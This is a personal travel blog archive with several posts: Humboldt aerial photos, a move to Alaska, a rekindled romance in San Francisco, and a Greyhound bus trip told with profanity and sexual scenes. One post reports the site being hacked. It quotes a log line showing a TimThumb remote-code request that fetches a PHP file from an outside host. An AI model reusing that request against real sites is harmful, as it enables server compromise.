February 28, 2013 By Leave a Comment

Getting High in Humboldt

Aerial photography of Capetown Coastline, Northern California, Humboldt

Capetown Coastline in Humboldt County, Northern California

Capetown Coastline in Humboldt County, Northern California

The Boys in the back, Chris & Alex, rocking out as usual

The Boys in the back, Chris & Alex, rocking out as usual

Always comforting, our pilot searching for our location asks, Where are we?

Always comforting, our pilot searching for our location asks, Where are we?

Tripping Overland began as many things, one of them being a way to forgo the necessity of air travel in getting there. There is always a better way to go than stepping into a metal poop with wings and jet fuel at location A to get to destination B. Sure, for the sake of expediency airtravel is a a necessary evil. And it’s safe. Well, woo-fucking-hoo, let’s just all get hopped up on travel-sized vodkas and ambien, and jump the next Aerobus to whatever-third-world-island-we’re-exploiting-now on some shitty five-day four-night tour to languish jet-lagged on whitesand beaches and have the indigenous serve us sanitized versions of local fare. Ok, maybe I am overstating the point.

The truth is I love flying. Who doesn’t? It’s the most invigorating feeling I have ever had apart from being in the ocean (or with a woman).

There are many ways to change perception, to enhance perspective, to attempt a parallax view, and flying in a Cessna 172 Skyhawk–a four-seat, single-engine, high-wing fixed-wing aircraft, the most successful mass produced light aircraft in history, which barely goes over 105 miles per hour, likely less when stuffed like a tin can–is one of the best.

Aerial photography of Humboldt County coastline and interior foothills © Brett Richardson & Alex McKenzie

Filed Under: Blog, The Americas, The Trip Overland, Travel Tagged With: , , , , , , , , , , ,
January 20, 2012 By 2 Comments

On Packing Up On Moving On – Tripping Overland Up North

Where Night Meets Dawn
Where Night Meets Dawn

Where Night Meets Dawn

I wake from a dreamless sleep in a dark cold. It feels as if there is nothing around me, not even the ground on which I lie, though I take this for granted as I am not falling. Trembling, I push myself up and attempt to feel my way through the chill nothingness, though where I am going, I don’t know. Barefoot and stumbling drunkenly, I eventually hit a wall. Gratefully I stand there, relieved and breathing hard, somewhat at peace, as if relaxing beneath a warm shower of water. Blindly, I roll the dice and choose to inch left along its cratered surface until I come to its ninety degree cohort and I catch a draught of cool air rushing in from somewhere overhead. My hands begin to paw frantically about in search of a switch, a cord, a knob, some sign of intelligent life other than these mute obelisk reflecting back the night. My eyes should have adjusted by now but I can still see nothing. It is getting colder. I begin to jog, running a guiding hand along the wall, counting time to measure the circumference of the room. But it is not long before I hit something hard with my foot and tumble face first into the cold hard floor. The generalized pain spreading across my head is welcome. It dissipates the fear and insecurity of the senselessness surrounding me. Something warm runs down my cheek as I reach my hand behind me to feel what I tripped over. My fingers flutter across the hard square like a butterfly in the sun. Feeling something other than myself and the wall is a tactile pleasure. I bring myself closer to it until I feel a hinge here, a hasp there—it’s a box. Open it, I scream in my head, drowning out the mean silence, but opening it does nothing more than add more mystery to the dark. What is inside of—what was that noise? A shifting shush, as silent as a woman’s hips in silk. I start to reach my hand, searching every corner in the surprisingly large box when out of the corner of my eye a pinprick of white appears. I realize I am looking up. I see the infinitesimal scintilla of starlight shoot toward a far off point in the invisible horizon. It is soon joined by a sibling. And another. And before long a vast panorama of iotas twinkle from one end of the endless black and amass toward a growing ball of illumination in the distance—a star. It is only after some indeterminable time has passed that I sense something touching me, that I realize something soft and matching black as the night is crawling up my arm. My attention goes back to the ball dancing about as it collects the tiny moths streaking toward its warm giving light. It grows so fast that it is impossible to tell how far away it actually is. The thing from the box continues to move up my arm, onto my shoulder. I look down but cannot see it, cannot see anything, except the star. The fear my brain tells me to feel concerning the unknown danger is allayed by this light, despite its lack of reflectivity. As it grows more rotund and takes a larger portion of what might be called the sky, it emits a warm fuzzy buzzing, the first sound I recognize hearing aside from my own internal voice. The warmth I feel as the thing wraps around my neck like a scarf on a chill winter’s night is somehow comforting rather than terrifying. Though amorphous like a liquid, I now have a sense of its size and shape, and can feel its blob-like body inching up the side of my head. Suddenly the star expands to almost double its size before retracting, and in time to the musical humming begins to pulsate in time, all the while still adding to its now massive rotundity. It is then that I catch the merest glimmer of a reflection of the black exoskeleton of the snakey-shaped thing crawling in my ear. Even then I feel no sense of impending dread or danger, though I begin to feel uncontrollably sleepy. The burgeoning star of light pulses and thrums ever larger and so close that as I reach out my hands to touch it I see the silhouettes of my fingers, tendrils of hair, the carotene shine of my nails. The thing slips completely into my head and my eyes close. I manage a last smile, still feeling the warmth of the star’s emission while falling back to the ground, as it somewhat comforts the blow of the unforgiving floor on my head.

Off and on for more than two months this is the dream that recurs in my sleep as I approach my departure date to moving to Alaska, though I tell no one. On the outside I am all sure smiles and confident control. On the inside I am pure recklessness, like the dream, unsure of which way to move in a dark and alien territory.

I begin to wear wool and flannel. I buy waterproof boots and a silk balaclava. I jump into rivers fully dressed to test my anti-bacterial quick-dry underwear. I move about from town to town, city to city, state to state in the western U.S. I have no home. Except my camera, a few books and the clothes on my back, I have no possessions to speak of. This is not a boast, but merely how I choose to live. In an age of amassing wealth and property, of resource wars and cataclysmic disasters, this concerted vagabond roaming is what comforts me. I am feeling my way through the darkness, grasping at invisible walls, tripping over unseen obstacles, experiencing the beauty and the terror simultaneously.

I understand how this may sound. I hear myself and I groan. Often my ego tells me to give it up kid, get a normal job, get married, have some babies and be respectable like the rest of us. The voice tells me that money is good, that it is really alright to clamor after the elusive muse of celebrity, to obsess over body image, to eat processed foods of indeterminate origin and healthfulness, to chase after the American Dream. Hey kid, what if everyone did what you are doing, shirked responsibility, bucked conventional wisdom, chased their dreams no matter how unrealistic? No one would get a damn thing done would they? Then, from out of some dark place, I hear myself growl, Fuck you voice of reason, fuck you.

The Great Wall of China at Changcheng (Manny Santiago)

The Great Wall of China at Changcheng

I look at my friends and my family and I see the sad grimaces they force on their faces when I come near, not wanting to ask what I am doing, but still trapped by the formality of language into cliched Q & As. Though occasionally we break through the patina of trite anecdotes, it doesn’t come as easily as it used to—mere drug use isn’t enough anymore. Not wanting to hear about anything that can’t be immediately grasped and understood, labeled and filed away under proper 21st century experience is still a great affliction of our close-minded reptile brains. It is understandable. Life is after all a lose-lose situation—everyone dies and it’s a slog to the end. We all are forced to watch our loved ones die. Just as we force others to watch us die. Jesus, how depressing. No wonder people need money, power, hardcore drugs, alcohol, nicotine, caffeine, sugar, sex, religion, politics, fascism, extremism, insanity, rock and roll and so on. Who doesn’t need something, more or less, along those lines? And who doesn’t have something to say about what is right and what is wrong not only for themselves, but for everyone else? O great ball of light, o great creature of the box, how to escape the tedious simplicity of human nature? There is no escape. One merely forges on through the cold darkness as far as we can into the occasional moments of illumination the external world sheds arbitrarily. I myself have always been attracted to that gorgeous moment of discovery in the midst of a single breathe, between the point of inhalation and exhalation, when time stops and the brain empties. The rest of the world falls away and you are left with whatever beauty you have surrounded yourself with, the makings of your own personal heaven: a pristine vista, a valley at sunrise, body-surfing in the ocean, fast cars and loud music, watching horses gallop, the smile of a loved one, the joy of accomplishment, or maybe just the first bite of a jelly glazed doughnut. Release.

It may be cold and distant, it may be invisible and impossible to find, it may be you don’t know where to begin, but it’s there if you want it to be. You just have to give chase. It’s time I started to take my own advice. So, I’m off to Alaska with my few books, my camera and bag of film, my waterproof boots and silk balaclava and my anti-bacterial quick-dry underwear. I will be in touch. I’m not dead yet.

Filed Under: Blog, The Americas, The Trip Overland, Travel Tagged With: , , , , , , ,
January 4, 2012 By 1 Comment

Death in San Francisco

Cars rush off the cliff like lemmings at the Broadway Tunnel at Hyde Street in San Francisco

“East is East, and West is San Francisco.”

                                                — O.Henry

Cars rush off the cliff like lemmings at the Broadway Tunnel at Hyde Street in San Francisco

Cars rush off the cliff like lemmings at the Broadway Tunnel at Hyde Street in San Francisco

The brilliant curmudgeon Norman Mailer called Chicago “a great American city” yet allowed that she is a lady. H.L. Mencken noted the subtle but unmistakable sense of escape from the United States. John Steinbeck called it the golden handcuff with the key thrown away. A number of great things have been written about San Francisco by writers from all over the world, all beatifically blathering on about how wonderful it is that despite the vice and crime (or perhaps because of), the hippies and grime, America got one city absolutely right (excuse me Manhattan Island, but pound for pound you are no match). Much of this can be put down to the demure size of the peninsula which houses the city once dubbed Yerba Buena by the conquistadores who eventually sailed through what Spanish explorer Gaspar de Portolà called the most perfectly formed bay he had ever seen.

I say eventually because it was never discovered by ship, it—that bay of bays surrounding forty-nine square miles of peninsular beauty—was first seen (mistakenly at that) by the non-native eyes of a land-based hunting party of Portolà’s not until 1769. Imagine the eminent 16th century Portuguese explorer Juan Cabrillo (of Cabrillo Aquarium, Cabrillo Beach, Cabrillo Bridge, Cabrillo Day, Cabrillo High, Cabrillo Junior High, etc.), repeatedly sailing blissfully ignorant by its fog shrouded inlet and eventually founding Bahia de los Pinos at present day–and more obvious–Monterey Bay. Or a war weary and well-scurvied Sir Francis Drake claiming Point Reyes (just north of S.F. Bay and already a part of Spain) for the crown of England in 1579. Not to mention the hundreds of other Manila galleons sailing from the Philippines over the next hundred years. Why was it so hard to find? Or rather why didn’t the Spanish Empire between the time of Cabrillo and Portolà, when more than 200 years elapsed without so much as a landfall, realize they had for all intents and purposes found one of the crown jewels of the Americas?

Modern geologists cite poor telescopy and the odd alignments of Alcatraz and Angel Islands (which seem to align the mouth of the bay with the peninsula) as reasons. Other outre geologists have suggested that it—yes, the bay itself—did not exist at all until the 17th century and then only due to major earthquakes in 1630 and / or 1725 causing soil liquefaction which allowed the ocean to rush in (I like that one). Whatever the cause, the bloated and apathetic Spanish Empire did not take much interest in Alta California, much to the pleasure of the Bay Area Ohlone Indians, as well as at least one hundred other native tribes, until Russian fur traders had exploited their own lands and began to explore the beaver-rich Pacific Northwest. The time of the Spanish was nearly at an end, and even the newly liberated Mexicans soon felt the weight of the bastard progeny of gringo interlopers desire for gold.

For if it is not gold which has paved the streets of the dreams of every single immigrant that has fallen feet in San Francisco, then would it be those low-lying banks of fog themselves upon which we continue to shake our zombie voodoo money-makers that help obscure the true animal heart of the peninsula? Why should this land have any deeper meaning than any other? What makes San Francisco special? The fact that it was overlooked by the colonizers of the new world for so long, only to be finally discovered, built, shook, burned, rebuilt, and repeated ad infinitum—this level of rapid modernization rivals the post-WWII Japanese industrial machine. The shaking out of the raw and wild and replacing of nature with landmarks of human progress is almost nowhere better viewed than in the petri dish of San Francisco. Is it that it cannot no longer grow outward—can no longer physically represent the ever-expanding American waistline—and therefore has had to grow inward, exploring the dark and light which both dwell within the city’s self and the selves of the city’s denizens? This spacelessness is an almost unheard of phenomenon in the western United States and one that makes most Americans uncomfortable: the idea of limits, of limited expansion, of growth that is not unbounded, of profit that is not unlimited, the frightening thought that one day there may be no more gold to rush.

She Loves Me. She Loves Me Not.

She Loves Me. She Loves Me Not.

The City may be destroyed by any number of natural disasters tomorrow so we shall reap what we can today. So if not golden stones paving our boulevards, then let us press in capital Ps for Progress. Let it be that this experiment in European Americanism is taken as the vanguard of forward thinking civil libertarian peoples from all over the globe congregating in the two upper joints of an extended middle finger jutting out of the fist of California midsection in an an ode to guts and raw wilderness, and the pure visceral butterflies-in-the-stomach sensuality of dangling by the fingertips off the edge of a continent whose drop is shrouded in fog coupled with the intimacy of death by dagger, might go a little way to describing the mentality of the 800,000 odd people who call the City proper home.

The edge. A pair of legs bobbing over beneath the invisible gaze out into that big emptiness. It is that emptiness that resets us. It reminds us that whence we came, so too shall we return. The western border of mostly greyish-black seeming body of undulating water, the fury of life seething just beneath a mostly calm surface, occasionally breaks forth in resplendent blue-green song and foamy whitecap serenade and perhaps we can glimpse a gorgeous scintilla of life in the midst of all the mostly empty universe. San Francisco, with its masses of multi-colored people speaking manifold tongues and practicing strange customs set against a backdrop of billowing hills and blustery wind, cold summers and mild winters, does what other great cities do: it makes us feel small and insignificant, and safe in that smallness and protected in that insignificance. Whatever the reasons people have come to California, most who came to the western end of the United States saw the Pacific Ocean from beyond the Golden Gate Bridge and stayed.

If they couldn’t afford the City’s exorbitant rents they moved to Oakland and Berkeley to the east, San Mateo, San Jose and Santa Cruz to the south, while Marin and the Elysian wine fields of Sonoma, Napa and Mendocino which bolster the north of the central valley, while still just the seals and sharks and sundry other alien life housed in the vast emptiness of the Pacific Ocean to the west.

Despite those exorbitant rents and expensive prices, its warping tendencies and ritualistic vice, its impending disaster and self-destructive population I feel myself drawn to San Francisco. Not quite unlike just another moth caught in a hypnotizing shaft of light alongside so many others. I am a unique flower amongst the weeds of humanity. Am I not? She loves me. She loves me not. She loves me. She loves me not. She loves me?

“San Francisco itself is art, above all literary art. Every block is a short story, every hill a novel. Every home a poem, every dweller within immortal. That is the whole truth.”

                                                — William Saroyan

Midday on Mission street near the 24th street BART Station is busy as usual. I blend in to the crowd as I pass by the bar at least twice, maybe three times, glancing through the window facade trying to catch a glimpse of her before entering. Goddamn I wish still smoked. Is my shirt too nice? Why is everyone staring at me? Should I have rubbed one out before coming to meet her? No I don’t want any MDMA man, thanks anyway. I go in and deliberately do not look around, although I swear I can see her across the room, her booted feet on the tabletop showcasing legs stretched out in tight black jeans as she sips her Chimay and scrolls through her iPhone. Is this what the Trappist monks had in mind, I wonder? I order a Westmalle Tripel and wait for it to be poured. It is a slow burn that runs up my spine and chills my neck and I know she has spotted me. Don’t ask me how I know this. Call it intuition. Call it having feasted and fucked and fought our brains out tens years ago nestled in a warm apartment in the mountains of Matsumoto, Japan. Call it a guess.

Lady Boots and Belgian Beer (Manny Santiago)

Lady Boots and Belgian Beer

I get my beer and an idiot grin from the hipster creep behind the bar, turn away and walk toward where she sits languidly, making the wooden bench appear as if it were a 17th century chaise lounge out of Versailles. She looks up with her olive eyes glinting and smiles. Putting her phone away, she stands as I approach and we hug. In the instant it goes too long there is some kind of connection rekindled. Most every male in the place glance up from their mobile phones, look her up and down and wonders who the hell am I to be with her. We sit and clink glasses and cut through the obligatory small talk after ten years of not seeing one another. I follow the outlines of her heart-shaped lips, thin and delicate as they caress sounds out of her mouth, not listening to their meaning, but getting the gist. Her easy grace and effortless beauty make me feel charming. The strong Belgian ale helps us loosen up quickly and before long we are laughing and flirting. She touches my forearm and whatever anxiety and nervousness I may have been hanging onto melt away. We order sausages and another round of beer from the prick behind the counter, now incredulous at my company. I overtip him. Enjoying the buzzing of our heads, half from the alcohol, half from remembered passions, we wait for our food.

Forty-five minutes later we are done with our artisan sausages and finishing up our beers when I propose that we move on to a Tapas restaurant on upper Haight where I am meeting friends, good friends, blah blah blah, from out of the country who are leaving tomorrow. Her hands on the bench, balancing her subtle rocking, she nods several times, yes yes, with a girlish smile, she will come.

Everything is crowded in the city: the streets, the subway, the muni, the alleyways, the abandoned sofas, the fenced-off construction sites, the bars, the bathrooms, the women. It is a manageable crowd, the kind one gets used to, even gets to like, crowding out the creeping silence of death. Death is the last thing on your mind when you’re with a beautiful woman. Life takes all the chips. Everything is a sensual feast, all spring flowers and fecundity. The sounds of clinking glasses and raucous laughing enhance the pheromonal aromas of food and liquor laced with sweet and savory herbs, intensifying the delicate sexual ambiance like a chum thrown into a feeding frenzy. Men and women’s eyes wander covetously as they hunt around the room for bare skin on which to feast. The liquor is both a metaphor and literal reality for losing oneself in the sensuous comforts of opiate bliss, of gluttonous release, of ultimate death of fucking into oblivion.

Cha Cha Cha is no different. Moderately cheap and very fast, they have the business of getting people drunk and fed and fucked down to a happy science. A man walks into a bar. He is alone. No one cares. A man walks into a bar with an attractive woman and everyone wonders what is his secret. Does he have money? Power? A 12-inch cock? What is it, dammit?! What they never guess is that’s it’s none of the obvious crutches we use when our bank accounts are empty, when no one will follow our orders, when we are finally flacid—it’s an intrinsic trust in the prolific nature of the universe to provide. You must obey its nature—however arbitrary—and follow its path. But if you do, you will be full of, as we toasted tall glasses of Sangria to in the bar, “Amor, Salud and Pesetas.”

I was beginning to notice what everyone else already knew: she had lost her girlishness and was now a woman. Though older and, by dint of ruthless gravity, less firm, she was somehow more attractive than at 19. Her eyes, framed by locks of soft chestnut brown hair, replaced the immature posturing she once exuded and gave her face a depth of character and a softness of beauty I hadn’t ever experienced. Her skin was still tan and smooth, but she fit into it better, wore it like a gown rather than a skirt. Though now a woman in full bloom she was ripe with youthful vigor and had a particular sprinkling of lust about her that was unnerving. She had always possessed the ability to make men wither away with her directness and eye contact. That may have been why I was able to make her swoon, at least for a time, where others had failed: I didn’t blink. I never looked away. It scared the crap out of me to do so, but I could hold her gaze. Before I had a chance to consider how it happened I was clasped on the shoulder by my friends and we were soon entrenched in introductions and how-do-you-dos.

Aided by a second pitcher of Sangria, lots of little plates of spicy Caribbean-style tapas and fast, non-stop talk the day morphed into night. My friends had been traveling along the coast of Central California looking for alternative lifestyles for a Japanese magazine and they regaled us with strange stories of off-the-grid counter-culture still thriving along the pricey coastline. I rested my hand lightly on her thigh to get her attention, asking if that wouldn’t be the funnest thing ever. What exactly, she smiled flirtaciously, blinking in slow motion. Traveling together on the company dime, going to strange, exotic places and writing about it, filming it, whatever. What would I do, she asked. You would be the talent, I said. You will smile and flutter your lashes just like you’re doing now and say to the camera, wouldn’t you just love to be here with me? Now tell me that we can’t get paid to do that. I took away my hand and took a drink. I must have blinked. When I looked back she looked surprised, a little shocked, but still smiled. She picked up her drink and took a sip, putting her lips together, making a mmmmm sound and closed her eyes almost completely before turning back to the other conversation.

I didn’t realize it at the time but I had just lost her, again. Or maybe I had never had her, just amused her for a while. Regardless, she had awoken from whatever weak spell of words I had cast with the aid of alcohol and ambiance. After the meal had concluded and the excited talk still begged for more wine the four of us went to my friend’s apartment, a loaner from an ex-girlfriend, and continued into the wee hours. This happened every time we got together, we spent hours on end talking, eating, drinking, screwing. But this time was different. As the wine dried up and sleep overtook my friends, eventually she decided it was time to go. She asked me to walk with her. We walked along the outer edge of Golden Gate Park talking slightly in the iridescent light, the details of the conversation lost to the chill bay area mist blowing out to sea. The last thing she said before heading up the stoop to some stranger’s apartment was how special I was to her. She kissed me, flashed her eyes at mine, and never looked back. I continued walking and headed back to the park. Like a zombie smelling far off flesh, some nameless power drove me on through the park and toward the ocean.

Walking for hours felt like minutes and miles were mere inches by the time I reached the Great Highway running along the coast. I followed it to Point Lobos where I spied the ruins of the Sutro baths as the sun rose behind, eventually splashing certain of its shafts of golden pink light through the cloud cover. I trekked down the hilly path to the ruins, along the rocks and past the large defunct pool and continued north, climbing back up the trail to the top of the point. I stood there on the cliff for an interminable period of time and watched the seals diving for breakfast amidst the violent waves breaking on the jagged rocks. I projected myself out there, my body surfing in the waves, swimming with the seals, playing in the surf, catching fish with my teeth, eventually losing control and dashing against the rocks, the tide towing me in and out until the crabs got to me, cutting me down piece by piece, back to the sea. She loves me. She loves me not.

The Road to the End of the World

The Road to the End of the World

Filed Under: Blog, The Americas Tagged With: , , , , , , , ,
September 19, 2011 By 4 Comments

The Trip Overland Hacked via the Timthumb Vulnerability

The Berkeley Sky at Night (Manny Santiago) (Manny Santiago)

On the road there is little time for anything other than catching glimpses out of the corner of your eye along the speeding road of the blurred trees and the slower moving mountains at the far-off horizon line. There isn’t an opportunity to jack in, hook up, dose out online. When you are working out on the road and your only Wi-Fi connection is still 500 miles away in the next Motel 6, how do you protect yourself? A better, more wider ranging question might be: how do you keep what you put out into the world safe from those who would do harm?

After getting back from a summer trip to New Orleans, I got a job in Northern California and was off the grid, so to speak, for a few day, camping, kayaking and shooting long exposures of stars at night. Getting back to reality I received the following message from my hosting company:

We need to inform you that your hosting account for willwalkforsex.com has been hacked and used to run illegal software on the server. Here is how the hackers have exploited your account:

87.118.92.112 – - [17/Aug/2011:08:43:18 -0400] “GET /wp-content/themes/xxxxxxxxx/includes/timthumb.php?src=http://flickr.com.wikicenter.net/php/echo.g.php HTTP/1.1″ 200 827 “http://www.enchantedhillsweddings.com/wp-content/themes/DeepFocus/timthumb.php?src=http://flickr.com.wikicenter.net/php/echo.g.php” “Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8″

To secure your website, and to avoid similar incidents in future, you will have to upgrade any third party software you are using on your account to the latest versions. Also, if you are using any custom scripts, please secure them as soon as possible.

Here is a full rundown of the timthumb vulnerability.

I had always assumed that hacker’s wouldn’t (or shouldn’t rather) be interested in sites like mine. Why would they? Is there any reason for them to use this site other than as gateway protection to buffer them from their real target? Their real target being offshore holdings of some monolithic corporation or secret plans housed in an underground government facility. Why The Trip Overland? [shakes fist at sky whilst muttering, "I'll get you yet!"]

Anyway, apologies for the downtime (those of you who actually noticed!). We’re back up and running at at least 68%. More to come.

The Berkeley Sky at Night (Manny Santiago)

The Berkeley Sky at Night

Filed Under: The Americas Tagged With: , , , , , , , , ,
June 20, 2011 By 4 Comments

Riding the Dog – Across America by Greyhound Bus

Riding the Dog – Across America by Greyhound Bus
Riding the Dog - Greyhound Travel in the U.S.A.

Riding the Dog – Greyhound Travel in the U.S.A.

Come on, Bryce. There are a lot more important problems than Sri Lanka to worry about.”

“Like what?”

“Well, we have to end apartheid, for one, slow down the nuclear arms race, stop terrorism and world hunger. We have to provide food and shelter for the homeless…and oppose racial discrimination and promote civil rights, while also promoting equal rights for women. We have to encourage a return…to traditional moral values. Most importantly, we have to promote general social concern…and less materialism in young people.

– Patrick Bateman, American Psycho

Unless you are Jay-Z relaxing with a topless Beyonce singing Happy Birthday Mr. President on your own private Cote d’Azur beach, traveling is never as easy as it sounds. Most people take an overbooked flight, stumble sweaty and confused around the baggage claim for an hour, lie their way through customs, overpay a taxi to deliver them to a room where they collapse onto the 50 / 50 Modacrylic and “Warden” wool blend flame retardant military style blanket and bedcover of the overpriced hotel near—not on—the beach, which gets overrun with roving gangs of displaced orphans and wild packs of dogs as soon as the sun sets. “Where’s the fine Italian linen on damask-patterned Swiss cotton, honey?” goes the calm discussion before voices raise to “Jellyfish have a season and it’s now?” and “All pleasure cruises have been canceled due to naval exercises?” finally makes you realize that it’s not just futile, but you should have paid better attention to your Lao Tzu fortune cookie philosophy, “A good traveler has no fixed plans, and is not intent on arriving.”

At this point, every spot beautiful enough to be considered “vacationable” has had the dregs of its native population bought and moved off (or just outright slaughtered), been developed by multinational hotel conglomerates and fruit / sugar plantationers, the local wildlife poached to the fringes (but you can still find their iconic shapes adorning folk art and crafts gangs of young orphans pressed into service by their pimps will exhort you to buy), but don’t worry, wherever you go, no matter how odd it may actually be, there will either be elephant or camel rides for the kids.

Maybe you know all this. So you avoid the hassles and pratfalls of d.i.y. travel by taking a group tour of Thailand, a family friendly visit to South Africa, or an active adventure excursion to Egypt. What about a cultural journey to Peru’s Machu Picchu? Or perhaps you are ahead of the game: an avid ecotourist who understands the precarious nature of the environment’s delicate balance and prides themselves on low-impact, culturally-sensitive travel which benefits local communities and the host country?

…now I’m awake and I’ve got whores, drugs and politics on my mind. Should be a great ride.

You may have been weaned on buses in Latin America, you may have road travel down to a science in Southeast Asia, or done safari to Kilamanjaro and beyond, but would you dare venture into the United Sates of America by Greyhound? Let me forewarn you now, whatever adventures you may have survived in your youth, the one thing you do not want your children to grow up to do is to ride the bus. I’m not referring to the yellow school buses with tinted windows and air conditioning, no. Those are a rite of passage. The bus you want to avoid is the one you get on when you get knocked up in Pittsburgh and need to get to your cousin’s in Chicago on $27.50 and a prayer. This is the bus John Walsh references you were last seen boarding after getting cut from the Appalachian League Pulaski Mariners. This is the coast to coast interurban-interstate motorcoach local to hell, with service at Mictlan, Tartarus, Xibalbá, Hades, Sheol, Gehenna, Jahannam, Avici, Naraka, Diyu, all Nine Rings, the River Acheron (exact change please) the Lake of Fire and Cocytus, no transfers. This is the bus that drives through the heart of an unclean fire into a desperate cold, moving as fast as it can before it implodes. This is the mirror put up to America’s dark shadow and what is shown back at us is not pretty.

The truth happens outside of New York, after disembarking at the City of Brotherly Love, where the east coast salt belt traffic corridor opens up into the shrinking cities of the Rust Belt, when the economics doesn’t demand proper customer service etiquette. Perpetually late, tired and harassed in ways similar to rendition, taking a trip on the Greyhound intercity bus lines serving North America, is more than getting a front row seat of the state of the actual union, it’s taking your life in your hands. Here in the too narrow seats with their too little legroom for the burgeoning American waistline you are subjected to conditions not unlike those described by prisoners held in Abu Ghraib: yelling, cursing, threats of violence, bright lights, darkness, extreme temperatures, long-winded and demeaning lectures, forced disembarkation in dangerous conditions, intimidation, and fistfights. The modern day Greyhound bus is a micro portrait of the country at large. It’s an exciting and frightening way to see the “real America” without seeing any of the country at all.

Sometimes those flyover zones are worth seeing...

Sometimes those flyover zones are worth seeing…

Sooner or later (or not at all) your driver will come on over the loudspeaker and talk about the rules. Depending on their personality, socio-economic background, verbosity, caffeine intake, this will either rehash what all of these regular riders have been hearing since the first grade or it will take on a new I’m-an-Individual-too-Mutha-Fucka accenture which will evoke howls from the peanut gallery. My favorite, from a deep-south black woman of less than five feet in stature and more than two hundred pounds in girth, went something like this:

‘Lo ya’ll and welcome onboard my Greyhound. My name is Shawnda and I be yo’ driver to Indianapolis. So don’t be tryin’ no funny stuff, ‘coz we got ourselves a ways to go tonight, yes honey. Now let ya’ll and me get something straight and we’ll both be jes’ fine: For everyone’s safety n’ comfort, there is NO SMOKING on this bus. I repeat no smoking! No smokin’, no tokin’, no rollin’, no bowlin’, no basin’, no blazin’, no bakin’ or toastin’ of anything legal or illegal at all. No cigs, no butts, no darts, no fags, no cancer sticks, no coffin nails, no joints, this is no joke. I am serious as a heart attack ya’ll. I got me an air vent up here come right out by my nose connected to the bafroom, so I will know if you even think of lightin’ up anythang, ANY-THANG, am I clear? I have a zero tolerance for alcohol, weapons and unruly behavior, meanin’ sex, drugs and rock n’ roll. I smell anythang but yo’ stinky feet up here and I will stop this bus and ya’ll be walking in the middle of a corn field. Speakin’ of stinky feet, keep your shoes on.”

All that is true, I mean ‘very word, but let’s get to what you can do. Coz’ we got a long trip together and it’a be better for all o’ us if we can get along. Radios, laptops and other electronic items may be carried on board, but do not, DO NOT, disturb your fellow passengers. Use your radio headsets, headphones, earphones, or ear buds, but no singin’, or hummin’, no whistlin’ or mouthin’ your favorite movie or song. Jes’ be quiet and keep it to yo’self, please and thank ya.”

After what could be minutes, hours or days of the recurrent cycles of napping and waking in the alternating dark and light between Sliding Hill and Elyria, Elkhart and Aurora relationships begin to form, small communities and cultures build within your immediate seating area. Much like prison, bonds are formed quickly and factions can arise within hours. Despite Shawnda’s rhythmic warnings to the contrary the cliques rise around those who play mp3s and watch movies on their phones for all to hear, amongst them the joke tellers, the non-stop talkers, the pregnant, the gangster-wannabes, the elderly, the sleepers, the snorers, the whores, the starers, the Latino families, the shifty-eyed, the obese, the insane, the lepers, and the junkies. Occasionally a foreign traveler or the shut-eyed suburbanite might wander on to one of these buses out of curiosity or financial hardship and will recount the tale as a landmark turning point in their lives: BG (Before Greyhound) and AG (After Greyhound). After riding the dog across country, Amtrak begins to look like personal limousine service.

It’s after midnight and we are other side of Cleveland. The bus is dark as we lumber down Interstate 71 heading into Columbus. The relative silence the bus had sunk into is broken by the woman seated behind me not trying too hard to stifle her howling laughter and crude comments pointed at another woman seated across from her giving head beneath a jacket to the man sitting next to her. Once you know what’s going on it’s hard not to see out of your peripheral sight the outline of a head repetitively pumping up and down like an oil derrick. The lights of passing cars and billboards illuminate the ghostly outline of the public sex act and coupled with all the usual sounds of sex plus the eerie and fake pay-attention-to-me-because-my-parents-never-did laughter, the whole event is not unlike being at an old adult theater watching Rob Zombie’s horrific remake of the cult classic Goldie Goes Greyhound. Either way, now I’m awake and I’ve got whores, drugs and politics on my mind. Should be a great ride.

Stop Less. Go Mope.

Stop Less. Go Mope.

Bumping our way through central Indiana road surrounded by farmland, I became aware of voices shouting from the back of the bus. A strange odor seemed to waft forward. A plume of invisible burnt glass smelling smoke emanating from the bathroom barely preceded Shawnda’s roar of “Muthafuckas!” as she abruptly edged the large Motor Coach Industries 102D3 onto the shoulder and pounded the air brakes into a loud skreech. She quickly unbuckled and drew back her protective plastic barrier, and 180′d into the aisle, her demure knuckles showing hard as her hands grasped the back of each seat she passed. “One of you muthafuckas been smokin’ in my bathroom. Now what I tell you? It’s a long ride to Indy and one of you is makin’ it longer for all of us. Now who is it?”

From behind a few pointed in my general direction.

“You, up, now!” Tiny, rotund Shawnda, bus driver to hell was about to take her wrath out on the impish she-bitch behind me.

“It wan’t me, I swear.”

“I can smell you bitch. Up now. Get yo’ bag an’ get offa my bus!” the bulk of her midsection shook into my shoulder and trapped my forearm on the rest. My eyes widened in disbelief mere inches away from her massive right breast. God, I thought, what engineering miracle of a bra that can withhold such magnificent and terrible mammaries!

The succubus whined, “But we in the middl’a nowhere?”

“I ain’t care. I warned ya. Didn’t I warn ya? Everyone, didn’t I warn ya’ll?”

Like a first grade class in unison, “Yes!”

“I didn’t do it. It was him. He has a knife.” she pointed at the guy across the aisle, Mr. blow job, who just smiled and shrugged. Shawnda looked at him, then back to the demon spawn, “Up, bitch, an’ get offa my bus ‘fore I call the cops!”

That got her attention. She rose slowly, her legs trembling, and reached into the overhead compartment for her bag. “Fine. I got ‘nother one under.”

“Get yo’ skinny junkie ass off my bus now!”

She must actually have a ventilation pipe up by her chair, but I truthfully didn’t know how Shawnda could smell anything. Intimate inches away from her, all I could catch were traces of the top notes of the aromatic citrus in her perfume, and the alkali scent of her relaxer.

Shawnda turned and sidled back to the front of the bus where with a puch of an air-powered button, the door opened with a relieving shoosh. The woman hesitated and then followed slowly, surely wondering what the hell she would do next. Shawnda trundled down the stairs and out the door, immediately turning right and walking halfway down the length of the bus, disappeared from view as she bent over and unlocked the luggage undercarriage and lifted the door, which covered the lower half of the window for two rows of seats. The woman edged her way down to the last step of the open door and peered out into the corn field nothingness surrounding. Shawnda turned and yelled something at the woman. The woman approached her and pointed into the luggage compartment, waiting for Shanwda to turn her back before swinging down at her with the edge of her fist. From my vantage point I could see through the tinted window as her face changed from pale surprise to sadistic grin. She began swinging wildly, arms flailing at Shawnda’s bulk, bent over and rendered invisible by the raised door. The entire bus shook as everyone shifted over to the right to watch in voyeuristic glee. Shawnda emerged from below the door, turned and swung hard at her attacker, landing a solid blow to her jaw that made the woman stumble back in obvious shock. Shawnda ran at her, ramming into her midsection like a linebacker tackling a running back, both of them falling into the rows of corn just off the side of the road. 